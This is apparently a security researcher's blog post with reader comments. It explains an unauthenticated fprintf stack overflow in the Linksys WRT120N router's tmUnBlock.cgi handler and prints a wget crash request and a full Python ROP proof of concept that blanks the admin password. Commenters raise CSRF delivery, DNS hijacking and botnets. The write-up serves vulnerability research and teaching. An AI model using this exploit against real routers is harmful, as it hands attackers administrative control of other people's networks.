With a good firmware disassembly and JTAG debug access to the WRT120N, it’s time to start examining the code for more interesting bugs.
As we’ve seen previously, the WRT120N runs a Real Time Operating System. For security, the RTOS’s administrative web interface employs HTTP Basic authentication:
Most of the web pages require authentication, but there are a handful of URLs that are explicitly allowed to bypass authentication:
Any request whose URL starts with one of these strings will be allowed without authentication, so they’re a good place to start hunting for bugs.
Some of these pages don’t actually exist; others exist but their request handlers don’t do anything (NULL subroutines). However, the /cgi/tmUnBlock.cgi page does have a handler that processes some user data:
The interesting bit of code to focus on is this:
fprintf(request->socket, "Location %s\n\n", GetWebParam(cgi_handle, "TM_Block_URL"));
Although it at first appears benign, cgi_tmUnBlock‘s processing of the TM_Block_URL POST parameter is exploitable, thanks to a flaw in the fprintf implementation:
Yes, fprintf blindly vsprintf‘s the supplied format string and arguments to a local stack buffer of only 256 bytes.
This means that the user-supplied TM_Block_URL POST parameter will trigger a stack overflow in fprintf if it is larger than 246 (sizeof(buf) – strlen(“Location: “)) bytes:
$ wget --post-data="period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=$(perl -e 'print "A"x254')" http://192.168.1.1/cgi-bin/tmUnBlock.cgi
A simple exploit would be to overwrite some critical piece of data in memory, say, the administrative password which is stored in memory at address 0x81544AF0:
The administrative password is treated as a standard NULL terminated string, so if we can write even a single NULL byte at the beginning of this address, we’ll be able to log in to the router with a blank password. We just have to make sure the system continues running normally after exploitation.
Looking at fprintf‘s epilogue, both the $ra and $s0 registers are restored from the stack, meaning that we can control both of those registers when we overflow the stack:
There’s also this nifty piece of code at address 0x8031F634 that stores four NULL bytes from the $zero register to the address contained in the $s0 register:
If we use the overflow to force fprintf to return to 0x8031F634 and overwrite $s0 with the address of the administrative password (0x81544AF0), then this code will:
- Zero out the admin password
- Return to the return address stored on the stack (we control the stack)
- Add 16 to the stack pointer
This last point is actually a problem. We need the system to continue normally and not crash, but if we simply return to the cgi_tmUnBlock function like fprintf was supposed to, the stack pointer will be off by 16 bytes.
Finding a useful MIPS ROP gadget that decrements the stack pointer back 16 bytes can be difficult, so we’ll take a different approach.
Looking at the address where fprintf should have returned to cgi_tmUnblock, we see that all it is doing is restoring $ra, $s1 and $s0 from the stack, then returning and adding 0x60 to the stack pointer:
We’ve already added 0x10 to the stack pointer, so if we can find a second ROP gadget that restores the appropriate saved values for $ra, $s1 and $s0 from the stack and adds 0x50 to the stack pointer, then that ROP gadget can be used to effectively replace cgi_tmUnblock‘s function epilogue.
There aren’t any obvious gadgets that do this directly, but there is a nice one at 0x803471B8 that is close:
This gadget only adds 0x10 to the stack pointer, but that’s not a problem; we’ll set up some additional stack frames that will force this ROP gadget return to itself five times. On the fifth iteration, the original values of $ra, $s1 and $s0 that were passed to cgi_tmUnblock will be pulled off the stack, and our ROP gadget will return to cgi_tmUnblock‘s caller:
With the register contents and stack having been properly restored, the system should continue running along as if nothing ever happened. Here’s some PoC code (download):
import sys import urllib2 try: target = sys.argv[1] except IndexError: print "Usage: %s <target ip>" % sys.argv[0] sys.exit(1) url = target + '/cgi-bin/tmUnblock.cgi' if '://' not in url: url = 'http://' + url post_data = "period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=" post_data += "B" * 246 # Filler post_data += "\x81\x54\x4A\xF0" # $s0, address of admin password in memory post_data += "\x80\x31\xF6\x34" # $ra post_data += "C" * 0x28 # Stack filler post_data += "D" * 4 # ROP 1 $s0, don't care post_data += "\x80\x34\x71\xB8" # ROP 1 $ra (address of ROP 2) post_data += "E" * 8 # Stack filler for i in range(0, 4): post_data += "F" * 4 # ROP 2 $s0, don't care post_data += "G" * 4 # ROP 2 $s1, don't care post_data += "\x80\x34\x71\xB8" # ROP 2 $ra (address of itself) post_data += "H" * (4-(3*(i/3))) # Stack filler; needs to be 4 bytes except for the # last stack frame where it needs to be 1 byte (to # account for the trailing "\n\n" and terminating # NULL byte) try: req = urllib2.Request(url, post_data) res = urllib2.urlopen(req) except urllib2.HTTPError as e: if e.code == 500: print "OK" else: print "Received unexpected server response:", str(e) except KeyboardInterrupt: pass
Arbitrary code execution is also possible, but that’s another post for another day.
can you link the firmware here ?
One of my previous WRT120N posts (first link in this article) contains a link to the firmware.
You’ve done a great work. I imagine it must have taken you quite a bit of time and effort. The problem is, that there is not much incentive to do that. Most incentive I would imagine have some NSA workers, then maybe some very low percentage of ambitious black hats.
In my opinion, such hardware (+ default software), should come with a sticker that lists severity of bugs and bounties. Then when I buy such hardware, I look at it, and I know they are $50k sure about their security. So I choose the one that suits me. Of course these more secure one will be more expensive. Which should work both for demanding customers and for manufacturers. And apart from companies profits it would give incentive for independent security researchers (and not just NSA) to find and publish every exploitable bug in these.
amazzzzing
Thats pretty cool fun with our old friends at string.h
I dont get, why they are still used for stuff like this. 🙂
Having string.h in a small time tracker tool for a local user would be ok.
But hey, who is interessted to do an exploit on a plastics router?
Nothing to see there! Please go on for some serious stuff.
But: Well documented work!
BTW: what tool do you use to get the nice graphs here:
http://www.devttys0.com/wp-content/uploads/2014/02/cgi_tmUnblock-1024×353.png
Have fun with your devices!
luja
That’s just the standard IDA debugger view
“But hey, who is interessted to do an exploit on a plastics router?
Nothing to see there! Please go on for some serious stuff.”
Definitely not a hacker’s mind.
One of the simpler and most dangerous things that could happen is to change the DNS servers that the router uses. Can you imagine why?
Let me tell you.
Simple DoS to the network, remote traffic sniffing finding passwords, exploitation of network machines, exposing machines behind the router directly to the internet etc.
Could you imagine such an exploit at a public cafe? or a friend of yours exploiting your home router?
Plastic routers are fun and serious stuff also.
Hey stergios, can i know which DNS your router use?
Pingback: The News From The Intertubes | Blog xaie
Thanks that you took the time and effort to explain all this nicely 😉
Learned a lot!
Did you have to take Endianness into account in any of this? If so, is that a matter of simply reversing the order of the bytes in the strings?
Yes, endianess is important for any low-level exploit, and MIPS processors can be either big or little endian. In this case, the Atheros chip used by the WRT120N is hard-wired to big endian.
interesting article, well explained too. Too bad this model actually doesn’t run firmware. That would be your bugfix 🙂
Nice work with solid explaination.
seems like the IDA debugger with some plugin.
maybe https://code.google.com/p/idapathfinder/
Good work and nice, intuitive post. Thanks.
I tried on my network, with firm 1.0.04, but nothing happend…. just for 1.0.07 ?
I’m sure other firmware versions are affected, but the addresses used in the exploit will need to be tweaked for each firmware version. So far, I’ve only tested on v1.0.07.
Are you actually doing a GET there, not a POST? If so, could this be done via CSRF?
It is a POST request, not a GET. You can still do POSTs with CSRF via javascript; the biggest issue is that the browser will likely URL encode the binary data that you’re posting. There’s no guarantee that your data will be URL decoded before the overflow, though I haven’t tested it on the WRT120N.
There are other ways to leverage CSRF against this device though – more posts to come. 🙂
Pingback: We should respect our selves too .. | RaYMaN4Ever's Blog
I’ve seen many comments like these one :
But hey, who is interessted to do an exploit on a plastics router?
Nothing to see there!
Exploiting routers allows you to redirect DNS request to a malicious website ,for example banking.. paypal.. amazon.. if you could exploit many of them you can build a pretty cool botnet.
Thanks for the knowledge craig.
Pingback: Buggy embedded libc implementations | RaYMaN4EvA
Hi,Crag.
You’ve done a great work. this is very cool. Could you tell me how do you get the crash dumping?
The “Stack trace of the crash”.
An fprintf() stack overflow; never thought I’d hear that.
Is that implementation you posted in the SuperTask libc or is it somehow specific to the WRT120N? That seems like quality code only a router manufacturer could concoct (surprised D-Link didn’t beat them to it).